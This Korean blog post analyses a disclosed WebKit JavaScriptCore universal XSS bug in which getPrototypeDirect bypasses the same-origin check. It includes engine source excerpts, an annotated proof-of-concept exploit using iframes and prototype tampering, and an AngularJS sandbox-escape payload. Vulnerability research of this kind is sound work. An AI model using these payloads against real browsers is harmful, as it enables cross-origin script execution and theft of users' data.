[WEB HACKING] WebKit JSC 취약점을 통한 SOP 우회(WebKit base browser XSS Technique)

요즘 Google Project-zero가 WebKit JSC를 열심히 까고있습니다. 6월부터 오늘까지 WebKit JSC에서만 12개의 이슈가 보고되었죠.

2017-07-25WebKit JSC - ‘arrayProtoFuncSplice’ Uninitialized Memory ReferenceGoogle Secu… 2017-07-25WebKit JSC - ‘ObjectPatternNode::appendEntry’ Stack Use-After-FreeGoogle Secu… 2017-07-25WebKit JSC - ‘ArgumentsEliminationPhase::transform’ Incorrect LoadVarargs HandlingGoogle Secu… 2017-07-25WebKit JSC - ‘DFG::ByteCodeParser::flush(InlineStackEntry* inlineStackEntry)’ Incorrect Scope Register Hand…Google Secu… 2017-07-25WebKit JSC - ‘JSArray::appendMemcpy’ Uninitialized Memory CopyGoogle Secu… 2017-06-01WebKit JSC - ‘JSObject::ensureLength’ ensureLengthSlow Check FailureGoogle Secu… 2017-06-16WebKit JSC - arrayProtoFuncSplice does not Initialize all IndicesGoogle Secu… 2017-06-16WebKit JSC - Heap Buffer Overflow in Intl.getCanonicalLocalesGoogle Secu… 2017-06-01WebKit JSC - Incorrect Check in emitPutDerivedConstructorToArrowFunctionContextScopeGoogle Secu… 2017-06-16WebKit JSC - JIT Optimization Check Failed in IntegerCheckCombiningPhase::handleBlockGoogle Secu… 2017-06-16WebKit JSC - JSGlobalObject::haveABadTime Causes Type ConfusionsGoogle Secu…

그 중 어제 날짜로 올라온 “WebKit JSC - ‘JSObject::putInlineSlow and JSValue::putToPrimitive’ Universal Cross-Site Scripting”에 대한 이야기를 할까합니다.

Project-zero를 통해 제보되었던 이 이슈는 Web browser의 내부의 Origin 정책인 SOP(Same Origin Policy)에 대해 우회가 가능합니다. 이전에 AngularJS Sandbox Escape 관련해서 글썼었는데, 그떄 언급했던 constructor를 통해 SOP 로직을 우회한 것 같네요.

{{constructor.constructor('alert(45)')()}} // 이런형태, 아래 링크 참조

(http://www.hahwul.com/2017/07/web-hacking-angularjs-sandboxdom-based.html )

What is WebKit JSC?

JSC는 JavaScriptCore의 약자로 Webkit에 포함된 자바스크립트 엔진 중 하나입니다. JSC는 ommand line 기반으로 사용되지만 웹 브라우저 자체에 이식되어 엔진으로서의 역할도 수행하게됩니다. 우리가 많이 보는 브라우저에도 이런 엔진들이 들어가있죠. 오늘 볼 취약점은 WebKit JSC 엔진을 쓰는 브라우저(대표적으로 Safari!)가 영향을 받는 기법이며 이후 XSS 취약점 분석 시 어느정도 활용해볼 수 있습니다. (그놈의 정책과 Sandbox =_=)

getPrototype and getPrototypeDirect.. Why vulnerable?

JSObject::putInlineSlow, JSValue::putToPrimitive는 객체의 프로토타입을 가져오기 위해 getPrototypeDirect를 사용합니다. 일반적으로는 getProtoType을 사용하죠. 중요한점이 있다면 getPrototype인 JSDOMWindow::getPrototype에선 Origin에 대해 검증하는 로직이 있지만 이와 별개인 getPrototypeDirect에선 별도로 검증하지 않는점입니다. 그로인해 Origin 정책을 무시하고 코드가 동작할 수 있게되죠.

JSObject.h 일부 - Code 부분

inline JSValue JSObject::getPrototypeDirect() const
{
    return structure()->storedPrototype();
}

inline JSValue JSObject::getPrototype(VM& vm, ExecState* exec)
{
    auto getPrototypeMethod = methodTable(vm)->getPrototype;
    MethodTable::GetPrototypeFunctionPtr defaultGetPrototype = JSObject::getPrototype;
    if (LIKELY(getPrototypeMethod == defaultGetPrototype))
        return getPrototypeDirect();
    return getPrototypeMethod(this, exec);
}

JSObject.h 일부 - Description 부분

JS_EXPORT_PRIVATE static JSValue getPrototype(JSObject*, ExecState*);
    // This gets the prototype directly off of the structure. This does not do
    // dynamic dispatch on the getPrototype method table method. It is not valid
    // to use this when performing a [[GetPrototypeOf]] operation in the specification.
    // It is valid to use though when you know that you want to directly get it
    // without consulting the method table. This is akin to getting the [[Prototype]]
    // internal field directly as described in the specification.

JSValue getPrototypeDirect() const;
    // This sets the prototype without checking for cycles and without
    // doing dynamic dispatch on [[SetPrototypeOf]] operation in the specification.
    // It is not valid to use this when performing a [[SetPrototypeOf]] operation in
    // the specification. It is valid to use though when you know that you want to directly
    // set it without consulting the method table and when you definitely won't
    // introduce a cycle in the prototype chain. This is akin to setting the
    // [[Prototype]] internal field directly as described in the specification.
    JS_EXPORT_PRIVATE void setPrototypeDirect(VM&, JSValue prototype);

정리하자면..

  • SOP는 모든 행위에서 정책이 적용되어야 한다
  • 그러나 getPrototypeDirect의 경우 SOP를 적용받지 않는다
  • SOP를 우회할 수 있다면 XSS에서 영향력 없던 부분들을 끌어낼 수 있다

getPrototype과 getPrototypeDirect는 동작에 있어서 약간의 차이가 있습니다. 물론 각각 동작에 필요한 역할들이 있겟지만 getPrototypeDirect를 JS 코드단에서 호출시킬 수 있다면 검증 로직 없이 ProtoType에 대해 접근하게되고 이를 통해 SOP 정책 또한 건너뜁니다.

POC

<body>
<script>

let f = document.body.appendChild(document.createElement('iframe')); //iframe 생성!
let loc = f.contentWindow.location; //loc에 iframe의 contentWindow.location, 즉 주소 String을 넣어줌
f.onload = () => { // 먼저 호출되지는 않음 왜냐하면, 이땐 iframe의 src가 없기 때문에 저 아래 f.src 구문으로 넘어감
    let a = 1.2; // [2] 드디어 실행됨
    a.__proto__.__proto__ = f.contentWindow; // a의 prototype을 iframe의 contentWindow로 지정
    a['test'] = {toString: function () {
        arguments.callee.caller.constructor('alert(location)')();
        // callee는 arguments object의 속성입니다. 함수 내 실행중인 함수를 참조하는데 사용
        // 아무튼 constructor를 통해 생성자 지정, 이 때 동작할 script 구문이 들어감
    }};
};
f.src = 'data:text/html,' + `<iframe></iframe><script>
Object.prototype.__defineSetter__('test', v => {
    'a' + v;
});

</scrip` + `t>`;
// [1] data: 구문으로 f(iframe)의  src를 또 다른 iframe과 script 구문으로 채움, [2]로 넘어감

</script>
</body>

흐름이 완성되면 constructor를 통해 집어넣은 생성자로 인해 함수가 실행되고 그 함수는 SOP의 적용을 받지 않는 스크립트 구문이 됩니다.

Conclusion

올해 초(?) Firefox쪽에 XSS 관련해서 제보한 내용이 있었습니다만, SOP로 인한 Sandbox 때문에 간단한 버그상태로 남아있는 이슈가 있습니다. 오늘 포스팅한 내용은 대체로 iOS(사파리)에 한정이겠지만 잘 활용해보면 firefox나 chrome 에서도 SOP나 SandBox를 넘어갈 수 있는 방법이 나올 수 있겠네요.

최근 SOP,SandBox 우회기법이 간간히 나옵니다. 이를 막기 위해선 더욱 강력한 정책이나 로직이 나오면 좋겠지만, 이는 사용성과 직접적으로 연관되는 부분이기 떄문에 긍정적일 수 있을지 모르겠습니다. (SOP때문에 JSONP가 생겨났죠)

Reference

https://www.exploit-db.com/exploits/42378/ https://trac.webkit.org/wiki/JSC https://ko.wikipedia.org/wiki/웹킷 https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Functions/arguments/callee http://www.hahwul.com/2017/07/web-hacking-angularjs-sandboxdom-based.html